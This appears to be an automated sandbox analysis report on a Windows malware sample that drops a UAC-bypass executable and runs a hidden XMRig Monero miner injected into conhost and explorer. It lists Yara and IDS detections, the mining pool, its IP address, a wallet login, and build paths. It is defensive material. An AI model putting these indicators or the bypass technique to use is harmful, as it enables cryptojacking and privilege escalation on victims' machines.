              Source: Yara matchFile source: 00000000.00000002.2146963912.0000000003551000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000000.2143738262.00007FF6FE426000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000002.2150159219.00007FF6FE426000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: GcqJPBLD2Q.exe PID: 5160, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: DccwBypassUAC.exe PID: 4368, type: MEMORYSTR
              Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exe, type: DROPPED

              Bitcoin Miner

              barindex
              Yara detected BitCoin Miner
              Source: Yara matchFile source: Process Memory Space: conhost.exe PID: 6036, type: MEMORYSTR
              Yara detected SilentXMRMiner
              Source: Yara matchFile source: Process Memory Space: conhost.exe PID: 6036, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: conhost.exe PID: 2848, type: MEMORYSTR
              Yara detected Xmrig cryptocurrency miner
              Source: Yara matchFile source: dump.pcap, type: PCAP
              Source: Yara matchFile source: 00000010.00000003.2255180923.0000024769437000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2218560312.000002476943E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2265143646.0000024769433000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2238560339.0000024769435000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2261244602.000002476943C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2237491368.0000024769430000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2246350754.0000024769436000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2257958978.000002476943B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2262725045.0000024769431000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2236720791.0000024769432000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2242162134.0000024769431000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2232579749.0000024769436000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2239521563.000002476943F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2263942655.0000024769433000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2260012653.0000024769436000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2231606755.0000024769434000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2244730823.000002476943C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2266356078.0000024769438000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2230448544.0000024769438000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2243392476.000002476943F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2241271993.000002476943F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2256496200.0000024769432000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2240379880.000002476943D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2220629227.0000024769433000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: conhost.exe PID: 2848, type: MEMORYSTR
              Detected Stratum mining protocol
              Source: global trafficTCP traffic: 192.168.2.6:49759 -> 45.76.89.70:80 payload: data raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6c 6f 67 69 6e 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 6c 6f 67 69 6e 22 3a 22 34 32 36 52 4e 78 53 53 45 71 63 50 75 76 34 68 77 45 48 6b 4a 66 37 6b 56 48 46 57 73 38 62 70 72 51 4a 70 4d 50 78 44 63 52 78 36 52 54 51 78 5a 57 37 72 42 79 69 58 55 34 43 6e 4d 44 71 72 48 4c 34 73 37 56 45 70 4d 47 38 51 6a 37 37 79 67 64 44 52 76 6b 42 55 33 4e 63 64 31 57 78 22 2c 22 70 61 73 73 22 3a 22 22 2c 22 61 67 65 6e 74 22 3a 22 58 4d 52 69 67 2f 36 2e 31 35 2e 32 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 6c 69 62 75 76 2f 31 2e 33 38 2e 30 20 6d 73 76 63 2f 32 30 31 39 22 2c 22 72 69 67 69 64 22 3a 22 22 2c 22 61 6c 67 6f 22 3a 5b 22 72 78 2f 30 22 2c 22 63 6e 2f 32 22 2c 22 63 6e 2f 72 22 2c 22 63 6e 2f 66 61 73 74 22 2c 22 63 6e 2f 68 61 6c 66 22 2c 22 63 6e 2f 78 61 6f 22 2c 22 63 6e 2f 72 74 6f 22 2c 22 63 6e 2f 72 77 7a 22 2c 22 63 6e 2f 7a 6c 73 22 2c 22 63 6e 2f 64 6f 75 62 6c 65 22 2c 22 63 6e 2f 63 63 78 22 2c 22 63 6e 2d 6c 69 74 65 2f 31 22 2c 22 63 6e 2d 68 65 61 76 79 2f 30 22 2c 22 63 6e 2d 68 65 61 76 79 2f 74 75 62 65 22 2c 22 63 6e 2d 68 65 61 76 79 2f 78 68 76 22 2c 22 63 6e 2d 70 69 63 6f 22 2c 22 63 6e 2d 70 69 63 6f 2f 74 6c 6f 22 2c 22 63 6e 2f 75 70 78 32 22 2c 22 63 6e 2f 31 22 2c 22 72 78 2f 77 6f 77 22 2c 22 72 78 2f 61 72 71 22 2c 22 72 78 2f 67 72 61 66 74 22 2c 22 72 78 2f 73 66 78 22 2c 22 72 78 2f 6b 65 76 61 22 2c 22 61 72 67 6f 6e 32 2f 63 68 75 6b 77 61 22 2c 22 61 72 67 6f 6e 32 2f 63 68 75 6b 77 61 76 32 22 2c 22 61 72 67 6f 6e 32 2f 6e 69 6e 6a 61 22 2c 22 61 73 74 72 6f 62 77 74 22 5d 7d 7d 0a data ascii: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"426rnxsseqcpuv4hwehkjf7kvhfws8bprqjpmpxdcrx6rtqxzw7rbyixu4cnmdqrhl4s7vepmg8qj77ygddrvkbu3ncd1wx","pass":"","agent":"xmrig/6.15.2 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2019","rigid":"","algo":["rx/0","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/upx2","cn/1","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja","astrobwt"]}}
              Found strings related to Crypto-Mining
              Source: conhost.exe, 00000010.00000003.2255180923.0000024769437000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: stratum+tcp://
              Source: conhost.exe, 00000010.00000003.2255180923.0000024769437000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: cryptonight/0
              Source: conhost.exe, 00000010.00000003.2255180923.0000024769437000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: stratum+tcp://
              Source: conhost.exe, 00000010.00000003.2255180923.0000024769437000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: -o, --url=URL URL of mining server
              Source: conhost.exe, 00000010.00000003.2255180923.0000024769437000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: Usage: xmrig [OPTIONS]
              Source: conhost.exe, 00000010.00000003.2255180923.0000024769437000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: Usage: xmrig [OPTIONS]
              Source: GcqJPBLD2Q.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
              Source: GcqJPBLD2Q.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
              Source: Binary string: 6C:\Users\user\AppData\Local\Temp\DccwBypassUAC.pdbp^ source: GcqJPBLD2Q.exe, 00000000.00000002.2146963912.0000000003551000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: D:\a\_work\1\s\src\vctools\crt\vcstartup\src\gs\amd64\amdsecgs.asmD:\a\_work\1\s\src\vctools\crt\vcstartup\src\misc\amd64\guard_dispatch.asmD:\a\_work\1\s\src\vctools\crt\vcstartup\src\misc\amd64\guard_xfg_dispatch.asmC:\Users\miles\Downloads\DccwBypassUAC-1.0.0\DccwBypassUAC\x64\Release\DccwBypassUAC.pdb source: GcqJPBLD2Q.exe, 00000000.00000002.2147196529.0000000016411000.00000004.00000800.00020000.00000000.sdmp, GcqJPBLD2Q.exe, 00000000.00000002.2147196529.00000000162E8000.00000004.00000800.00020000.00000000.sdmp, GcqJPBLD2Q.exe, 00000000.00000002.2147196529.00000000161BF000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: C:\Users\miles\Downloads\DccwBypassUAC-1.0.0\DccwBypassUAC\DccwBypassUAC\x64\Release\vc143.pdb source: GcqJPBLD2Q.exe, 00000000.00000002.2147196529.0000000016411000.00000004.00000800.00020000.00000000.sdmp, GcqJPBLD2Q.exe, 00000000.00000002.2147196529.00000000162E8000.00000004.00000800.00020000.00000000.sdmp, GcqJPBLD2Q.exe, 00000000.00000002.2147196529.00000000161BF000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: conhost.exe, 0000000E.00000002.2261430529.000001EC46AF1000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: C:\Users\miles\Downloads\DccwBypassUAC-1.0.0\DccwBypassUAC\x64\Release\DccwBypassUAC.pdb''$GCTL source: GcqJPBLD2Q.exe, 00000000.00000002.2146963912.0000000003551000.00000004.00000800.00020000.00000000.sdmp, DccwBypassUAC.exe, 00000005.00000000.2143738262.00007FF6FE426000.00000002.00000001.01000000.00000008.sdmp, DccwBypassUAC.exe, 00000005.00000002.2150159219.00007FF6FE426000.00000002.00000001.01000000.00000008.sdmp
              Source: Binary string: /ERRORREPORT:PROMPT /OUT:C:\Users\miles\Downloads\DccwBypassUAC-1.0.0\DccwBypassUAC\x64\Release\DccwBypassUAC.exe /INCREMENTAL:NO /NOLOGO /MANIFEST "/MANIFESTUAC:level='asInvoker' uiAccess='false'" /manifest:embed /DEBUG:FULL /PDB:C:\Users\miles\Downloads\DccwBypassUAC-1.0.0\DccwBypassUAC\x64\Release\DccwBypassUAC.pdb /SUBSYSTEM:CONSOLE /OPT:REF /OPT:ICF /LTCG:incremental /LTCGOUT:x64\Release\DccwBypassUAC.iobj /TLBID:1 /DYNAMICBASE /NXCOMPAT /IMPLIB:C:\Users\miles\Downloads\DccwBypassUAC-1.0.0\DccwBypassUAC\x64\Release\DccwBypassUAC.lib /MACHINE:X64 source: GcqJPBLD2Q.exe, 00000000.00000002.2147196529.0000000016411000.00000004.00000800.00020000.00000000.sdmp, GcqJPBLD2Q.exe, 00000000.00000002.2147196529.00000000162E8000.00000004.00000800.00020000.00000000.sdmp, GcqJPBLD2Q.exe, 00000000.00000002.2147196529.00000000161BF000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: 6C:\Users\user\AppData\Local\Temp\DccwBypassUAC.pdb source: GcqJPBLD2Q.exe, 00000000.00000002.2146963912.0000000003551000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: cwdC:\Users\miles\Downloads\DccwBypassUAC-1.0.0\DccwBypassUAC\DccwBypassUACexeC:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.41.34120\bin\HostX64\x64\link.exepdbC:\Users\miles\Downloads\DccwBypassUAC-1.0.0\DccwBypassUAC\x64\Release\DccwBypassUAC.pdbcmd /ERRORREPORT:PROMPT /OUT:C:\Users\miles\Downloads\DccwBypassUAC-1.0.0\DccwBypassUAC\x64\Release\DccwBypassUAC.exe /INCREMENTAL:NO /NOLOGO /MANIFEST "/MANIFESTUAC:level='asInvoker' uiAccess='false'" /manifest:embed /DEBUG:FULL /PDB:C:\Users\miles\Downloads\DccwBypassUAC-1.0.0\DccwBypassUAC\x64\Release\DccwBypassUAC.pdb /SUBSYSTEM:CONSOLE /OPT:REF /OPT:ICF /LTCG:incremental /LTCGOUT:x64\Release\DccwBypassUAC.iobj /TLBID:1 /DYNAMICBASE /NXCOMPAT /IMPLIB:C:\Users\miles\Downloads\DccwBypassUAC-1.0.0\DccwBypassUAC\x64\Release\DccwBypassUAC.lib /MACHINE:X64 source: GcqJPBLD2Q.exe, 00000000.00000002.2147196529.0000000016411000.00000004.00000800.00020000.00000000.sdmp, GcqJPBLD2Q.exe, 00000000.00000002.2147196529.00000000162E8000.00000004.00000800.00020000.00000000.sdmp, GcqJPBLD2Q.exe, 00000000.00000002.2147196529.00000000161BF000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: C:\Users\miles\Downloads\DccwBypassUAC-1.0.0\DccwBypassUAC\x64\Release\DccwBypassUAC.pdb source: GcqJPBLD2Q.exe, 00000000.00000002.2146963912.0000000003551000.00000004.00000800.00020000.00000000.sdmp, GcqJPBLD2Q.exe, 00000000.00000002.2147196529.0000000016411000.00000004.00000800.00020000.00000000.sdmp, GcqJPBLD2Q.exe, 00000000.00000002.2147196529.00000000162E8000.00000004.00000800.00020000.00000000.sdmp, GcqJPBLD2Q.exe, 00000000.00000002.2147196529.00000000161BF000.00000004.00000800.00020000.00000000.sdmp, DccwBypassUAC.exe, 00000005.00000000.2143738262.00007FF6FE426000.00000002.00000001.01000000.00000008.sdmp, DccwBypassUAC.exe, 00000005.00000002.2150159219.00007FF6FE426000.00000002.00000001.01000000.00000008.sdmp
              Source: Binary string: DccwBypassUAC.pdb source: GcqJPBLD2Q.exe, 00000000.00000002.2146963912.0000000003551000.00000004.00000800.00020000.00000000.sdmp
              Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exeCode function: 5_2_00007FF6FE422F80 _errno,wcstol,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,CharLowerW,lstrlenA,CryptStringToBinaryA,CryptStringToBinaryA,#40,_invalid_parameter_noinfo_noreturn,memcpy,FindFirstFileW,_invalid_parameter_noinfo_noreturn,FindClose,ShellExecuteW,_invalid_parameter_noinfo_noreturn,memcpy,_invalid_parameter_noinfo_noreturn,memcpy,_invalid_parameter_noinfo_noreturn,LocalFree,CloseHandle,_invalid_parameter_noinfo_noreturn,Concurrency::cancel_current_task,Concurrency::cancel_current_task,Concurrency::cancel_current_task,5_2_00007FF6FE422F80

              Networking

              barindex
              System process connects to network (likely due to code injection or exploit)
              Source: C:\Windows\explorer.exeNetwork Connect: 45.76.89.70 80Jump to behavior
              Source: Joe Sandbox ViewIP Address: 45.76.89.70 45.76.89.70
              Source: Joe Sandbox ViewASN Name: AS-CHOOPAUS AS-CHOOPAUS
              Source: Network trafficSuricata IDS: 2036289 - Severity 2 - ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro) : 192.168.2.6:49617 -> 1.1.1.1:53
              Source: Network trafficSuricata IDS: 2826930 - Severity 2 - ETPRO COINMINER XMR CoinMiner Usage : 192.168.2.6:49759 -> 45.76.89.70:80
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: global trafficDNS traffic detected: DNS query: pool.hashvault.pro
              Source: conhost.exe, 0000000E.00000002.2261430529.000001EC46AF1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
              Source: conhost.exe, 0000000E.00000002.2261430529.000001EC46AF1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/Root.crl0
              Source: conhost.exe, 0000000E.00000002.2261430529.000001EC46AF1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
              Source: conhost.exe, 0000000E.00000002.2261430529.000001EC46AF1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/primobject.crl0
              Source: powershell.exe, 00000002.00000002.2367096703.00000151D50D0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
              Source: powershell.exe, 00000002.00000002.2291247009.00000151C5288000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
              Source: powershell.exe, 00000002.00000002.2291247009.00000151C5288000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
              Source: powershell.exe, 00000002.00000002.2291247009.00000151C5061000.00000004.00000800.00020000.00000000.sdmp, conhost.exe, 00000007.00000002.2190959451.00000236C70F1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
              Source: powershell.exe, 00000002.00000002.2291247009.00000151C5288000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
              Source: powershell.exe, 00000002.00000002.2291247009.00000151C5288000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
              Source: powershell.exe, 00000002.00000002.2291247009.00000151C5061000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
              Source: powershell.exe, 00000002.00000002.2367096703.00000151D50D0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
              Source: powershell.exe, 00000002.00000002.2367096703.00000151D50D0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
              Source: powershell.exe, 00000002.00000002.2367096703.00000151D50D0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
              Source: powershell.exe, 00000002.00000002.2291247009.00000151C5288000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
              Source: powershell.exe, 00000002.00000002.2367096703.00000151D50D0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
              Source: conhost.exe, 00000010.00000003.2255180923.0000024769437000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2218560312.000002476943E000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2238560339.0000024769435000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2237491368.0000024769430000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2265143646.0000024769433000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2261244602.000002476943C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2246350754.0000024769436000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2257958978.000002476943B000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2262725045.0000024769431000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2236720791.0000024769432000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2239521563.000002476943F000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2231606755.0000024769434000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2266356078.0000024769438000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2240379880.000002476943D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://xmrig.com/benchmark/%s
              Source: conhost.exe, 00000010.00000003.2255180923.0000024769437000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2218560312.000002476943E000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2238560339.0000024769435000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2237491368.0000024769430000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2265143646.0000024769433000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2261244602.000002476943C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2246350754.0000024769436000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2257958978.000002476943B000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2262725045.0000024769431000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2236720791.0000024769432000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2239521563.000002476943F000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2231606755.0000024769434000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2266356078.0000024769438000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2240379880.000002476943D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://xmrig.com/docs/algorithms
              Source: conhost.exe, 00000010.00000003.2255180923.0000024769437000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2218560312.000002476943E000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2238560339.0000024769435000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2237491368.0000024769430000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2265143646.0000024769433000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2261244602.000002476943C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2246350754.0000024769436000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2257958978.000002476943B000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2262725045.0000024769431000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2236720791.0000024769432000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2239521563.000002476943F000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2231606755.0000024769434000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2266356078.0000024769438000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2240379880.000002476943D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://xmrig.com/wizard
              Source: conhost.exe, 00000010.00000003.2255180923.0000024769437000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2218560312.000002476943E000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2238560339.0000024769435000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2237491368.0000024769430000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2265143646.0000024769433000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2261244602.000002476943C000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2246350754.0000024769436000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2257958978.000002476943B000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2262725045.0000024769431000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2236720791.0000024769432000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2239521563.000002476943F000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2231606755.0000024769434000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2266356078.0000024769438000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000010.00000003.2240379880.000002476943D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://xmrig.com/wizard%s

              System Summary

              barindex
              Malicious sample detected (through community Yara rule)
              Source: 0.2.GcqJPBLD2Q.exe.35f5ad0.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Codoso APT Gh0st Malware Author: Florian Roth
              Source: 5.0.DccwBypassUAC.exe.7ff6fe420000.0.unpack, type: UNPACKEDPEMatched rule: Detects Codoso APT Gh0st Malware Author: Florian Roth
              Source: 0.2.GcqJPBLD2Q.exe.35e1868.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Codoso APT Gh0st Malware Author: Florian Roth
              Source: 0.2.GcqJPBLD2Q.exe.3609d68.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects Codoso APT Gh0st Malware Author: Florian Roth
              Source: 0.2.GcqJPBLD2Q.exe.35e1868.1.unpack, type: UNPACKEDPEMatched rule: Detects Codoso APT Gh0st Malware Author: Florian Roth
              Source: 5.2.DccwBypassUAC.exe.7ff6fe420000.0.unpack, type: UNPACKEDPEMatched rule: Detects Codoso APT Gh0st Malware Author: Florian Roth
              Source: 00000012.00000002.2234389210.0000025C64110000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
              Source: 00000012.00000002.2234389210.0000025C64110000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_5c38878d Author: unknown
              Source: 00000016.00000002.2255998341.000001D90D160000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
              Source: 00000016.00000002.2255998341.000001D90D160000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_5c38878d Author: unknown
              Source: 00000018.00000002.2249781552.0000000000845000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
              Source: 00000018.00000002.2249781552.0000000000845000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_5c38878d Author: unknown
              Source: 00000014.00000002.2235023601.0000000000A8C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
              Source: 00000014.00000002.2235023601.0000000000A8C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_5c38878d Author: unknown
              Source: 00000010.00000003.2255180923.0000024769437000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
              Source: 00000010.00000003.2218560312.000002476943E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
              Source: 00000010.00000003.2265143646.0000024769433000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
              Source: 00000010.00000003.2238560339.0000024769435000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
              Source: 00000007.00000002.2189995465.00000236C4F60000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
              Source: 00000007.00000002.2189995465.00000236C4F60000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_5c38878d Author: unknown
              Source: 00000010.00000003.2261244602.000002476943C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
              Source: 00000010.00000003.2237491368.0000024769430000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
              Source: 00000011.00000002.2211357524.0000000000825000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
              Source: 00000011.00000002.2211357524.0000000000825000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_5c38878d Author: unknown
              Source: 00000010.00000003.2246350754.0000024769436000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
              Source: 00000017.00000002.2257559925.0000000000925000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
              Source: 00000017.00000002.2257559925.0000000000925000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_5c38878d Author: unknown
              Source: 0000000F.00000002.2198853521.0000000000AA7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
